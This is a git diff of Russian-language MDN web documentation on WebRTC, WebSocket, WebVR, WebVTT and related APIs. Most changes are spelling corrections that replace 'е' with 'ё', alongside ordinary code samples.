            WebRTC это технология прямого обмена аудио-, видео- и другими данными в режиме реального времени с одним ключевым условием. Процесс обнаружения и согласования медиаформатов должен происходить так чтобы два устройства, подключённые к разным сетям, могли локализовать друг друга, как обсуждалось здесь. Этот процесс назван сигнализацией и подразумевает, что оба устройства подключаются к третьему, обоюдно согласованному серверу. Через третью сторону устройства определяют адреса друг друга и обмениваются согласующими сообщениями.

            В этой статье мы будем дорабатывать  WebSocket-чат, созданный для нашей документации к WebSocket, — добавим к нему двусторонний видеозвонок между двумя пользователями. Вы можете использовать этот пример на Glitch или клонировать его, чтобы поэкспериментировать самим. Весь проект можно посмотреть на GitHub.

            @@ -21,13 +21,13 @@ translation_of: Web/API/WebRTC_API/Signaling_and_video_calling

            Во-первых, нужен сам сервер сигнализации. Спецификация WebRTC не определяет, какой транспорт используется для передачи сигнальной информации. Можете использовать какой вам нравится, от WebSocket до {{domxref("XMLHttpRequest")}} и почтовых голубей, чтобы передать сигнальную информацию между пирами.

            -

            Важно, что серверу не нужно понимать или интерпретировать сигнальные данные. Хотя они в формате {{Glossary("SDP")}}, это не имеет особого значения: содержание сообщений, проходящих через сигнальный сервер - по сути, черный ящик. Значение имеет лишь то, что когда подсистема {{Glossary("ICE")}} дает команду передать данные другому пиру, вы просто это делаете, а уже пир знает, как получить эту информацию и доставить ее на свою подсистему ICE. Все что нужно - передавать сообщения туда и обратно. Содержание совершенно не важно для сигнального сервера.

            +

            Важно, что серверу не нужно понимать или интерпретировать сигнальные данные. Хотя они в формате {{Glossary("SDP")}}, это не имеет особого значения: содержание сообщений, проходящих через сигнальный сервер - по сути, чёрный ящик. Значение имеет лишь то, что когда подсистема {{Glossary("ICE")}} даёт команду передать данные другому пиру, вы просто это делаете, а уже пир знает, как получить эту информацию и доставить её на свою подсистему ICE. Все что нужно - передавать сообщения туда и обратно. Содержание совершенно не важно для сигнального сервера.

            Подготовка сервера чата к сигнализации

            -

            Наш сервер чата использует WebSocket API для отправки информации как {{Glossary("JSON")}}  между каждым клиентом и сервером. Сервер поддерживает несколько типов сообщений для нескольких задач : регистрация нового пользователя, установки имен пользователей, отправка сообщений чата.

            +

            Наш сервер чата использует WebSocket API для отправки информации как {{Glossary("JSON")}}  между каждым клиентом и сервером. Сервер поддерживает несколько типов сообщений для нескольких задач : регистрация нового пользователя, установки имён пользователей, отправка сообщений чата.

            -

            Для того, что бы сервер мог поддерживать функциональность сигнализации и согласование соединения, нам нужно обновить код. Нам нужно направлять сообщения одному конкретному пользователю вместо того, чтобы транслировать их всем подключенным пользователям, а также обеспечить передачу и доставку неизвестных типов сообщений, при этом серверу не нужно будет знать, что это такое. Это позволит нам посылать сигнальные сообщения, используя один и тот же сервер, вместо того, чтобы использовать отдельный сервер.

            +

            Для того, что бы сервер мог поддерживать функциональность сигнализации и согласование соединения, нам нужно обновить код. Нам нужно направлять сообщения одному конкретному пользователю вместо того, чтобы транслировать их всем подключённым пользователям, а также обеспечить передачу и доставку неизвестных типов сообщений, при этом серверу не нужно будет знать, что это такое. Это позволит нам посылать сигнальные сообщения, используя один и тот же сервер, вместо того, чтобы использовать отдельный сервер.

            Let's take a look which changes we need to make to the chat server support WebRTC signaling. This is in the file chatserver.js.

            diff --git a/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html index 4d02e4d5d4..8ed6944d59 100644 --- a/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html +++ b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/WebRTC_API/Simple_RTCDataChannel_sample

            Интерфейс {{domxref("RTCDataChannel")}} является функциональностью  WebRTC API , который позволяет открыть канал между узлами соединения, по которому можно отправлять и получать произвольные данные. Эти  API намеренно сходны с  WebSocket API, для использования единой программной модели.

            -

            В этом примере мы откроем соединение {{domxref ("RTCDataChannel")}}, связывающее два элемента на одной странице. Хотя это явно надуманный сценарий, он полезен для демонстрации последовательности соединения двух узлов. Мы расскажем о механизме выполнения соединения, передачи и получения данных, но оставим немного информации о поиске и подключении к удаленному компьютеру для другого примера.

            +

            В этом примере мы откроем соединение {{domxref ("RTCDataChannel")}}, связывающее два элемента на одной странице. Хотя это явно надуманный сценарий, он полезен для демонстрации последовательности соединения двух узлов. Мы расскажем о механизме выполнения соединения, передачи и получения данных, но оставим немного информации о поиске и подключении к удалённому компьютеру для другого примера.

            Разметка HTML

            diff --git a/files/ru/web/api/webrtc_api/taking_still_photos/index.html b/files/ru/web/api/webrtc_api/taking_still_photos/index.html index a15d916a7e..c690fafe2a 100644 --- a/files/ru/web/api/webrtc_api/taking_still_photos/index.html +++ b/files/ru/web/api/webrtc_api/taking_still_photos/index.html @@ -40,11 +40,11 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos

            Код JavaScript

            -

            Посмотрим на  JavaScript code. Разобьем его на части, для упрощения объяснения.

            +

            Посмотрим на  JavaScript code. Разобьём его на части, для упрощения объяснения.

            Инициализация

            -

            Начнем с обертки всего скрипта в анонимную функцию, во избежании конфликтов глобальных переменных, затем инициализируем различные нужные  переменные.

            +

            Начнём с обёртки всего скрипта в анонимную функцию, во избежании конфликтов глобальных переменных, затем инициализируем различные нужные  переменные.

            (function() {
   var width = 320;    // Этим создадим ширину фотографии
@@ -106,7 +106,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos
 
 
            Здесь мы называем метод  {{domxref("MediaDevices.getUserMedia()")}} , запрашивая медиапоток без аудиопотока (audio : false). Он возвращает промис, на котором мы определяем методы успешного и не успешного выполнений.
            
 
-
            Успешное выполнение промиса передает объект потока( stream ) в качестве параметра функции метода then()., который присваивается свойству srcObject элемента {{HTMLElement("video")}}, направляя поток в него.
            
+
            Успешное выполнение промиса передаёт объект потока( stream ) в качестве параметра функции метода then()., который присваивается свойству srcObject элемента {{HTMLElement("video")}}, направляя поток в него.
            
 
 
            Как только поток связан с элементом <video> ,  запускаем его воспроизведение, вызовом метода HTMLMediaElement.play().
            
 
@@ -114,7 +114,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos
 
 
            Обработка события начала воспроизведения
            
 
-
            После момента вызова метода  HTMLMediaElement.play() на элементе {{HTMLElement("video")}}, возникает промежуток времени до начала воспроизведения видеопотока. Для недопущения блокирования интерфейса пользователя в это промежуток, нужно установить обработчик события {{event("canplay")}} элемента video , который сработает, когда элемент начнет воспроизведение видеопотока. В этот момент все свойства элемента video конфигурируются на основе формата потока.
            
+
            После момента вызова метода  HTMLMediaElement.play() на элементе {{HTMLElement("video")}}, возникает промежуток времени до начала воспроизведения видеопотока. Для недопущения блокирования интерфейса пользователя в это промежуток, нужно установить обработчик события {{event("canplay")}} элемента video , который сработает, когда элемент начнёт воспроизведение видеопотока. В этот момент все свойства элемента video конфигурируются на основе формата потока.
            
 
 
                video.addEventListener('canplay', function(ev){
       if (!streaming) {
@@ -147,7 +147,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos
 
 
            Завершение метода  startup() 
            
 
-
            Еще пара строк кода в методе startup():
            
+
            Ещё пара строк кода в методе startup():
            
 
 
                clearphoto();
   }
            
@@ -167,7 +167,7 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos
     photo.setAttribute('src', data);
   }
            
 
-
            Начнем с получения ссылки на скрытый элемент {{HTMLElement ("canvas")}}, который мы используем для рендеринга за пределами экрана. Затем мы устанавливаем свойство fillStyle в  #AAA ( светло-серый) и заполняем весь холст этим цветом, вызывая метод {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.
            
+
            Начнём с получения ссылки на скрытый элемент {{HTMLElement ("canvas")}}, который мы используем для рендеринга за пределами экрана. Затем мы устанавливаем свойство fillStyle в  #AAA ( светло-серый) и заполняем весь холст этим цветом, вызывая метод {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.
            
 
 
            Наконец, в этой функции мы конвертируем canvas в изображение PNG и вызываем метод {{domxref("Element.setAttribute", "photo.setAttribute()")}} отображая захваченный цветовой фон в элементе изображения (бокса для фотографии).
            
 
@@ -207,9 +207,9 @@ translation_of: Web/API/WebRTC_API/Taking_still_photos
 
 
            Вы можете экспериментировать с этими эффектами, используя, например, инструмент разработчика FirefoxYou  редактор стилей; смотрим Редактирование с CSS фильтрами о подробностях выполнения.
            
 
-
            Использование определенных устройств
            
+
            Использование определённых устройств
            
 
-
            При необходимости вы можете ограничить набор разрешенных источников видео, определенным устройством или набором устройств. Для этого нужно вызвать метод {{domxref("navigator.mediaDevices.enumerateDevices()")}}. Когда промис разрешиться массивом объектов {{domxref("MediaDeviceInfo")}} , описывающих доступные устройства , выберите те, которым хотите разрешить доступ и укажите соответствующий идентификатор устройства {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} или несколько deviceId в объекте  {{domxref("MediaTrackConstraints")}} , переданном в  {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.
            
+
            При необходимости вы можете ограничить набор разрешённых источников видео, определённым устройством или набором устройств. Для этого нужно вызвать метод {{domxref("navigator.mediaDevices.enumerateDevices()")}}. Когда промис разрешиться массивом объектов {{domxref("MediaDeviceInfo")}} , описывающих доступные устройства , выберите те, которым хотите разрешить доступ и укажите соответствующий идентификатор устройства {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} или несколько deviceId в объекте  {{domxref("MediaTrackConstraints")}} , переданном в  {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.
            
 
 
            Смотри так же
            
 
diff --git a/files/ru/web/api/webrtc_api/using_data_channels/index.html b/files/ru/web/api/webrtc_api/using_data_channels/index.html
index cbb64c54bb..1c2e5b2521 100644
--- a/files/ru/web/api/webrtc_api/using_data_channels/index.html
+++ b/files/ru/web/api/webrtc_api/using_data_channels/index.html
@@ -16,15 +16,15 @@ translation_of: Web/API/WebRTC_API/Using_data_channels
 
            Основной транспорт передачи данных, использующийся объектом типа {{domxref("RTCDataChannel")}} может быть создан двумя способами:
            
 
 
              
- 
            • Позволить WebRTC создать транспорт и сообщить об этом удаленному узлу (вызвав у него событие типа  {{event("datachannel")}} ). Это простой способ, и он подходит для многих случаев, но не достаточно гибок для широких нужд.
              • 
+ 
            • Позволить WebRTC создать транспорт и сообщить об этом удалённому узлу (вызвав у него событие типа  {{event("datachannel")}} ). Это простой способ, и он подходит для многих случаев, но не достаточно гибок для широких нужд.
              • 
  
            • Написать свои скрипты по согласованию транспорта данных, и сигнализированию другому узлу о необходимости присоединения к новому каналу данных.
              • 
 
            
 
-
            Разберем оба случая, начиная с первого, как с наиболее распространенного.
            
+
            Разберём оба случая, начиная с первого, как с наиболее распространенного.
            
 
 
            Автоматический режим согласования
            
 
-
            Зачастую, разработчик может позволить объекту соединения обработать согласование  {{domxref("RTCDataChannel")}} соединения за него. Для этого нужно вызвать метод {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} без определения значения свойства {{domxref("RTCDataChannelInit.negotiated", "negotiated")}}, или определить свойство значением false. Это автоматически активирует RTCPeerConnection на обработку согласования соединения за разработчика, вызывая событие создание канала данных у удаленного узла, связывая два узла вместе по сети.
            
+
            Зачастую, разработчик может позволить объекту соединения обработать согласование  {{domxref("RTCDataChannel")}} соединения за него. Для этого нужно вызвать метод {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} без определения значения свойства {{domxref("RTCDataChannelInit.negotiated", "negotiated")}}, или определить свойство значением false. Это автоматически активирует RTCPeerConnection на обработку согласования соединения за разработчика, вызывая событие создание канала данных у удалённого узла, связывая два узла вместе по сети.
            
 
 
            Вызов метода createDataChannel() немедленно возвращает объект типа RTCDataChannel. Подписываясь на событие  {{domxref("RTCDataChannel.open_event", "open")}} , можно будет точно определить когда соединение успешно откроется.
            
 
@@ -39,7 +39,7 @@ dataChannel.addEventListener("open", (event) => {
 
 
            Для ручного согласования соединения, сначала необходимо создать новый объект типа {{domxref("RTCDataChannel")}}, используя метод  {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} объекта {{domxref("RTCPeerConnection")}}, определяя свойство  {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} в значение true. Это сигнализирует объекту соединения не пытаться согласовать соединение автоматически.
            
 
-
            Затем нужно согласовать соединение, используя веб сервер или иные средства коммуникации. Этот процесс должен сигнализировать удаленному узлу, что нужно создать собственный объект типа RTCDataChannel со свойством  negotiated, установленным в значение  true, используя тот же идентификатор канала {{domxref("RTCDataChannel.id", "id")}}. Это свяжет два объекта типа  RTCDataChannel через объект типа RTCPeerConnection.
            
+
            Затем нужно согласовать соединение, используя веб сервер или иные средства коммуникации. Этот процесс должен сигнализировать удалённому узлу, что нужно создать собственный объект типа RTCDataChannel со свойством  negotiated, установленным в значение  true, используя тот же идентификатор канала {{domxref("RTCDataChannel.id", "id")}}. Это свяжет два объекта типа  RTCDataChannel через объект типа RTCPeerConnection.
            
 
 
            let dataChannel = pc.createDataChannel("MyApp Channel", {
   negotiated: true
@@ -51,7 +51,7 @@ dataChannel.addEventListener("open", (event) => {
 
 requestRemoteChannel(dataChannel.id);
            
 
-
            В данном примере канал создается установкой значения свойства negotiated в true, затем вызывается функция  requestRemoteChannel() , запуская согласование соединения для создания удаленного канала с тем же идентификатором как у локального канала. Таким образом создание каналов данных позволяет использовать различные свойства, создавая их декларативно, используя одно и тоже значение идентификатора канала  id.
            
+
            В данном примере канал создаётся установкой значения свойства negotiated в true, затем вызывается функция  requestRemoteChannel() , запуская согласование соединения для создания удалённого канала с тем же идентификатором как у локального канала. Таким образом создание каналов данных позволяет использовать различные свойства, создавая их декларативно, используя одно и тоже значение идентификатора канала  id.
            
 
 
            Буферизация
            
 
@@ -63,11 +63,11 @@ requestRemoteChannel(dataChannel.id);

            Ограничения размеров сообщений

            -

            Для любых данных, передаваемых по сети, существуют ограничения по размеру. На фундаментальном уровне отдельные сетевые пакеты не могут быть больше определенного значения (точное число зависит от сети и используемого транспортного уровня).  На уровне приложения, то есть в пределах {{Glossary("user agent", "user agent's")}} реализация WebRTC, в которой работает ваш код, реализует функции поддержки сообщений, размер которых превышает максимальный размер пакета на транспортном уровне сети.

            +

            Для любых данных, передаваемых по сети, существуют ограничения по размеру. На фундаментальном уровне отдельные сетевые пакеты не могут быть больше определённого значения (точное число зависит от сети и используемого транспортного уровня).  На уровне приложения, то есть в пределах {{Glossary("user agent", "user agent's")}} реализация WebRTC, в которой работает ваш код, реализует функции поддержки сообщений, размер которых превышает максимальный размер пакета на транспортном уровне сети.

            -

            Это может усложнить ситуацию, поскольку вы не знаете, каковы ограничения по размеру для различных пользовательских агентов и как они реагируют на отправку или получение сообщения большего размера. Даже когда пользовательские агенты совместно используют одну и ту же базовую библиотеку для обработки данных протокола управления потоком (SCTP), могут существовать различия в зависимости от того, как используется библиотека. Например, и Firefox, и Google Chrome используют библиотеку usrsctp для реализации SCTP, но все еще существуют ситуации, в которых передача данных по RTCDataChannel каналу может завершиться сбоем из-за различий в том, как они вызывают библиотеку и обрабатывают ошибки, которые она возвращает.

            +

            Это может усложнить ситуацию, поскольку вы не знаете, каковы ограничения по размеру для различных пользовательских агентов и как они реагируют на отправку или получение сообщения большего размера. Даже когда пользовательские агенты совместно используют одну и ту же базовую библиотеку для обработки данных протокола управления потоком (SCTP), могут существовать различия в зависимости от того, как используется библиотека. Например, и Firefox, и Google Chrome используют библиотеку usrsctp для реализации SCTP, но все ещё существуют ситуации, в которых передача данных по RTCDataChannel каналу может завершиться сбоем из-за различий в том, как они вызывают библиотеку и обрабатывают ошибки, которые она возвращает.

            -

            Когда два пользователя, использующие Firefox, обмениваются данными по каналу данных, ограничение размера сообщения намного больше, чем когда Firefox и Chrome обмениваются данными, потому что Firefox реализует устаревшую технику для отправки больших сообщений в нескольких сообщениях SCTP, чего нет в Chrome. Вместо этого Chrome увидит серию сообщений, которые он считает завершенными, и доставит их получающему RTCDataChannel каналу в виде нескольких сообщений

            +

            Когда два пользователя, использующие Firefox, обмениваются данными по каналу данных, ограничение размера сообщения намного больше, чем когда Firefox и Chrome обмениваются данными, потому что Firefox реализует устаревшую технику для отправки больших сообщений в нескольких сообщениях SCTP, чего нет в Chrome. Вместо этого Chrome увидит серию сообщений, которые он считает завершёнными, и доставит их получающему RTCDataChannel каналу в виде нескольких сообщений

            Сообщения размером менее 16 КБ могут отправляться без проблем, поскольку все основные пользовательские агенты обрабатывают их одинаково.

            @@ -77,9 +77,9 @@ requestRemoteChannel(dataChannel.id);

            В конечном итоге это стало проблемой. Со временем различные приложения (в том числе внедряющие WebRTC) начали использовать SCTP для передачи больших и больших сообщений. В конце концов стало ясно, что когда сообщения становятся слишком большими, передача большого сообщения может блокировать все другие передачи данных в этом канале данных, включая критические сообщения сигнализации.

            -

            Это станет проблемой, когда браузеры будут должным образом поддерживать текущий стандарт поддержки больших сообщений - флаг конца записи (EOR), который указывает, когда сообщение является последним в серии, которое следует рассматривать как одну полезную нагрузку. Это реализовано в Firefox 57, но еще не реализовано в Chrome (см. Chromium Bug 7774). С поддержкой EOR полезная нагрузка RTCDataChannel может быть намного больше (официально до 256 КБ, но реализация Firefox ограничивает их колоссальным 1 ГБ). Даже при 256 кБ этого достаточно, чтобы вызвать заметные задержки при обработке срочного трафика.

            +

            Это станет проблемой, когда браузеры будут должным образом поддерживать текущий стандарт поддержки больших сообщений - флаг конца записи (EOR), который указывает, когда сообщение является последним в серии, которое следует рассматривать как одну полезную нагрузку. Это реализовано в Firefox 57, но ещё не реализовано в Chrome (см. Chromium Bug 7774). С поддержкой EOR полезная нагрузка RTCDataChannel может быть намного больше (официально до 256 КБ, но реализация Firefox ограничивает их колоссальным 1 ГБ). Даже при 256 кБ этого достаточно, чтобы вызвать заметные задержки при обработке срочного трафика.

            -

            Чтобы решить эту проблему, была разработана новая система планировщиков потоков (обычно называемая «спецификацией данных SCTP»), позволяющая чередовать сообщения, отправленные в разных потоках, включая потоки, используемые для реализации каналов данных WebRTC. Это предложение предложение все еще находится в черновой форме IETF, но после его реализации оно позволит отправлять сообщения практически без ограничений по размеру, поскольку уровень SCTP автоматически чередует лежащие в основе под-сообщения, чтобы обеспечить возможность получения данных каждого канала.

            +

            Чтобы решить эту проблему, была разработана новая система планировщиков потоков (обычно называемая «спецификацией данных SCTP»), позволяющая чередовать сообщения, отправленные в разных потоках, включая потоки, используемые для реализации каналов данных WebRTC. Это предложение предложение все ещё находится в черновой форме IETF, но после его реализации оно позволит отправлять сообщения практически без ограничений по размеру, поскольку уровень SCTP автоматически чередует лежащие в основе под-сообщения, чтобы обеспечить возможность получения данных каждого канала.

            Поддержка Firefox для ndata находится в процессе реализации. Команда Chrome отслеживает реализацию поддержки ndata в Chrome Bug 5696.

            diff --git a/files/ru/web/api/websocket/index.html b/files/ru/web/api/websocket/index.html index 2d53a55c5c..4cc3326a7f 100644 --- a/files/ru/web/api/websocket/index.html +++ b/files/ru/web/api/websocket/index.html @@ -69,7 +69,7 @@ WebSocket WebSocket( bufferedAmount unsigned long - Количество байтов данных, которые были поставлены в очередь, используя вызовы {{ manch("send") }}, но еще не переданные в сеть. Это значение не сбрасывается в ноль, при закрытии соединения; если продолжить вызывать  {{ manch("send") }}, значение будет расти. Только чтение. + Количество байтов данных, которые были поставлены в очередь, используя вызовы {{ manch("send") }}, но ещё не переданные в сеть. Это значение не сбрасывается в ноль, при закрытии соединения; если продолжить вызывать  {{ manch("send") }}, значение будет расти. Только чтение. extensions @@ -178,7 +178,7 @@ WebSocket WebSocket(
            code {{ optional_inline() }}
            -
            Числовое значение, обозначающее статус-код, описывающий почему подключение будет закрыто. Если параметр не указан, значение по умолчанию равно 1000(обозначает "обмен завершен"). Смотрите list of status codes для CloseEvent, чтобы узнать разрешенные значения.
            +
            Числовое значение, обозначающее статус-код, описывающий почему подключение будет закрыто. Если параметр не указан, значение по умолчанию равно 1000(обозначает "обмен завершён"). Смотрите list of status codes для CloseEvent, чтобы узнать разрешённые значения.
            reason {{ optional_inline() }}
            Читаемая человеком строка, объясняющая, почему подключение закрывается. Строка должна быть не длиннее, чем 123 байта UTF-8 текста (не символов). 
            @@ -198,7 +198,7 @@ WebSocket WebSocket(

            send()

            -

            Передает данные на сервер через WebSocket - соединение.

            +

            Передаёт данные на сервер через WebSocket - соединение.

            void send(
   in DOMString data
@@ -224,7 +224,7 @@ void send(
 
 
            
  
            INVALID_STATE_ERR
            
- 
            Соединение еще не открыто.
            
+ 
            Соединение ещё не открыто.
            
  
            SYNTAX_ERR
            
  
            Строка data содержит непарные суррогаты
            
 
            
@@ -252,7 +252,7 @@ void send(
 
 
            Пример
            
 
-
            // Создает WebSocket - подключение.
+
            // Создаёт WebSocket - подключение.
 const socket = new WebSocket('ws://localhost:8080');
 
 // Соединение открыто
diff --git a/files/ru/web/api/websockets_api/index.html b/files/ru/web/api/websockets_api/index.html
index 7b0156b5a7..83672bc3d4 100644
--- a/files/ru/web/api/websockets_api/index.html
+++ b/files/ru/web/api/websockets_api/index.html
@@ -10,7 +10,7 @@ tags:
 translation_of: Web/API/WebSockets_API
 original_slug: WebSockets
 ---
-
            Веб-сокеты это продвинутая технология, позволяющая открыть постоянное двунаправленное сетевое соединение между браузером пользователя и сервером. С помощью его API вы можете отправить сообщение на сервер и получить ответ без выполнения http запроса, причем этот процесс будет событийно-управляемым.
            
+
            Веб-сокеты это продвинутая технология, позволяющая открыть постоянное двунаправленное сетевое соединение между браузером пользователя и сервером. С помощью его API вы можете отправить сообщение на сервер и получить ответ без выполнения http запроса, причём этот процесс будет событийно-управляемым.
            
 
 
            
 
            
diff --git a/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html b/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html
index d5729bf6a4..7a6e602c2c 100644
--- a/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html
+++ b/files/ru/web/api/websockets_api/writing_websocket_client_applications/index.html
@@ -58,7 +58,7 @@ WebSocket WebSocket(
 
 
            Примеры
            
 
-
            Этот простой пример создает новый WebSocket, подключаемый к серверу ws://www.example.com/socketserver. В данном примере в конструктор сокета в качестве дополнительного параметра передается пользовательский протокол "protocolOne", хотя эта часть может быть опущена.
            
+
            Этот простой пример создаёт новый WebSocket, подключаемый к серверу ws://www.example.com/socketserver. В данном примере в конструктор сокета в качестве дополнительного параметра передаётся пользовательский протокол "protocolOne", хотя эта часть может быть опущена.
            
 
 
            var exampleSocket = new WebSocket("ws://www.example.com/socketserver", "protocolOne");
 
            
diff --git a/files/ru/web/api/webvr_api/index.html b/files/ru/web/api/webvr_api/index.html
index e53532700d..a1dd13cbc9 100644
--- a/files/ru/web/api/webvr_api/index.html
+++ b/files/ru/web/api/webvr_api/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/WebVR_API
 
 
            Концепция и использование
            
 
-
            Любые VR-устройства, подключенные к вашему компьютеру, будут возвращены методом {{domxref("Navigator.getVRDisplays()")}}; каждое из которых будет представлено  {{domxref("VRDisplay")}} объектом.
            
+
            Любые VR-устройства, подключённые к вашему компьютеру, будут возвращены методом {{domxref("Navigator.getVRDisplays()")}}; каждое из которых будет представлено  {{domxref("VRDisplay")}} объектом.
            
 
 
            Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labelled "Position sensor"
            
 
@@ -60,7 +60,7 @@ translation_of: Web/API/WebVR_API
  
            {{domxref("VREyeParameters")}}
            
  
            Предоставляет доступ ко все информации, необходимой для корректного отображения сцены для каждого заднего глаза, включая информацию о поле зрения.
            
  
            {{domxref("VRFieldOfView")}}
            
- 
            Представляет поле зрения, определенное четырьмя различными значениями степени, описывающими представление из центральной точки.
            
+ 
            Представляет поле зрения, определённое четырьмя различными значениями степени, описывающими представление из центральной точки.
            
  
            {{domxref("VRLayerInit")}}
            
  
            Представляет слой, который должен быть представлен в {{domxref("VRDisplay")}}.
            
  
            {{domxref("VRStageParameters")}}
            
@@ -84,7 +84,7 @@ translation_of: Web/API/WebVR_API
  
            {{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}
            
  
            Возвращает массив, содержащий каждый {{domxref("VRDisplay")}} объект, который в настоящее время отображается ({{domxref("VRDisplay.ispresenting")}} является true).
            
  
            {{domxref("Navigator.getVRDisplays()")}}
            
- 
            Возвращает обещание, которое преобразуется в массив {{domxref("VRDisplay")}} объектов,  представляющих любые доступные VR-дисплеи, подключенные к компьютеру.
            
+ 
            Возвращает обещание, которое преобразуется в массив {{domxref("VRDisplay")}} объектов,  представляющих любые доступные VR-дисплеи, подключённые к компьютеру.
            
 
 
 
            Window события
            
@@ -93,7 +93,7 @@ translation_of: Web/API/WebVR_API
  
            {{domxref("Window.onvrdisplaypresentchange")}}
            
  
            Представляет обработчик событий, который будет выполняться, при изменении состояния отображения VR-дисплея — т.е. идёт от отображения до неотображения, или наоборот (когда {{event("vrdisplaypresentchange")}} событие срабатывает).
            
  
            {{domxref("Window.onvrdisplayconnect")}}
            
- 
            Представляет обработчик событий, который будет запускаться, когда к компьютеру подключен совместимый VR-дисплей (когда {{event("vrdisplayconnect")}} событие срабатывает).
            
+ 
            Представляет обработчик событий, который будет запускаться, когда к компьютеру подключён совместимый VR-дисплей (когда {{event("vrdisplayconnect")}} событие срабатывает).
            
  
            {{domxref("Window.onvrdisplaydisconnect")}}
            
  
            Представляет обработчик событий, который будет запускаться, когда совместимый VR-дисплей был отключён от компьютера (когда {{event("vrdisplaydisconnect")}} событие срабатывает).
            
  
            {{domxref("Window.onvrdisplayactivate")}}
            
diff --git a/files/ru/web/api/webvr_api/using_the_webvr_api/index.html b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html
index 78aed3b7b7..51cdf502b8 100644
--- a/files/ru/web/api/webvr_api/using_the_webvr_api/index.html
+++ b/files/ru/web/api/webvr_api/using_the_webvr_api/index.html
@@ -18,7 +18,7 @@ translation_of: Web/API/WebVR_API/Using_the_WebVR_API
 
              
  
            • Устройство с поддержкой VR.
   
                
-   
              • Самым дешевым вариантом будет использовать мобильное устройство, какое-нибудь крепление (например, Google Cardboard) и подходящий браузер. Ощущения будут не такие яркие, как от специализированного устройства, но зато Вам не понадобится приобретать мощный компьютер или отдельный VR дисплей.
                • 
+   
              • Самым дешёвым вариантом будет использовать мобильное устройство, какое-нибудь крепление (например, Google Cardboard) и подходящий браузер. Ощущения будут не такие яркие, как от специализированного устройства, но зато Вам не понадобится приобретать мощный компьютер или отдельный VR дисплей.
                • 
    
              • Специализированное устройство может быть дорогим, но зато ощущения будут лучше. Наиболее WebVR-совместимые устройства на данный момент: HTC VIVE, The Oculus Rift. Дополнительную информацию о доступных устройствах и их поддержке браузерами можно найти на webvr.info.
                • 
   
              
  
              • 
diff --git a/files/ru/web/api/webvtt_api/index.html b/files/ru/web/api/webvtt_api/index.html
index 11db07532a..1927c7927f 100644
--- a/files/ru/web/api/webvtt_api/index.html
+++ b/files/ru/web/api/webvtt_api/index.html
@@ -19,7 +19,7 @@ translation_of: Web/API/WebVTT_API
 Никогда не пейте жидкий азот.
 
 00:05.000 --> 00:09.000
-- Это пробьет ваш желудок.
+- Это пробьёт ваш желудок.
 - Вы можете умереть.
 
            
 
@@ -73,7 +73,7 @@ translation_of: Web/API/WebVTT_API
 
 
            Внутренняя структура файла WebVTT
            
 
-
            Давайте вернемся к одному из наших предыдущих примеров и рассмотрим структуру реплик более подробно.
            
+
            Давайте вернёмся к одному из наших предыдущих примеров и рассмотрим структуру реплик более подробно.
            
 
 
            WEBVTT
 
@@ -171,7 +171,7 @@ video::cue(b) {
 
 
            В данном примере фоном видео будет серый градиент, с цветом текста papayawhip. Также, текст, выделенный жирным шрифтом с помощью элемента {{HTMLElement("b")}}, имеет цвет peachpuff.
            
 
-
            Фрагмент HTML, приведенный ниже, отображает видео.
            
+
            Фрагмент HTML, приведённый ниже, отображает видео.
            
 
 
            <video controls autoplay src="video.webm">
  <track default src="track.vtt">
diff --git a/files/ru/web/api/webxr_device_api/index.html b/files/ru/web/api/webxr_device_api/index.html
index 913ea6fcf9..7a1ce319e1 100644
--- a/files/ru/web/api/webxr_device_api/index.html
+++ b/files/ru/web/api/webxr_device_api/index.html
@@ -95,7 +95,7 @@ translation_of: Web/API/WebXR_Device_API
 
 
            
  
            {{domxref("WebGLRenderingContextBase.makeXRCompatibile","WebGLRenderingContextBase.makeXRCompatibile()")}}
            
- 
            Настраивает контекст WebGL для совместимости с WebXR. Если при создании контекста опция {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} не была установлена как true, необходимо вызвать метод makeXRCompatible() до использования контекста WebGL для рендеринга WebXR. Возвращает {{jsxref("Promise")}}, выполняющийся, когда контекст был подготовлен, или отклонен, если контекст не может быть настроен для работы с WebXR.
            
+ 
            Настраивает контекст WebGL для совместимости с WebXR. Если при создании контекста опция {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} не была установлена как true, необходимо вызвать метод makeXRCompatible() до использования контекста WebGL для рендеринга WebXR. Возвращает {{jsxref("Promise")}}, выполняющийся, когда контекст был подготовлен, или отклонён, если контекст не может быть настроен для работы с WebXR.
            
 
            
 
 
            Руководства и уроки
            
diff --git a/files/ru/web/api/window/beforeunload_event/index.html b/files/ru/web/api/window/beforeunload_event/index.html
index 1273c5de18..757ea14c3b 100644
--- a/files/ru/web/api/window/beforeunload_event/index.html
+++ b/files/ru/web/api/window/beforeunload_event/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Window/beforeunload_event
 ---
 
            {{APIRef}}
            
 
-
            Событие beforeunload запускается, когда окно, документ и его ресурсы вот-вот будут выгружены. Документ все еще виден, и событие в этот момент может быть отменено.
            
+
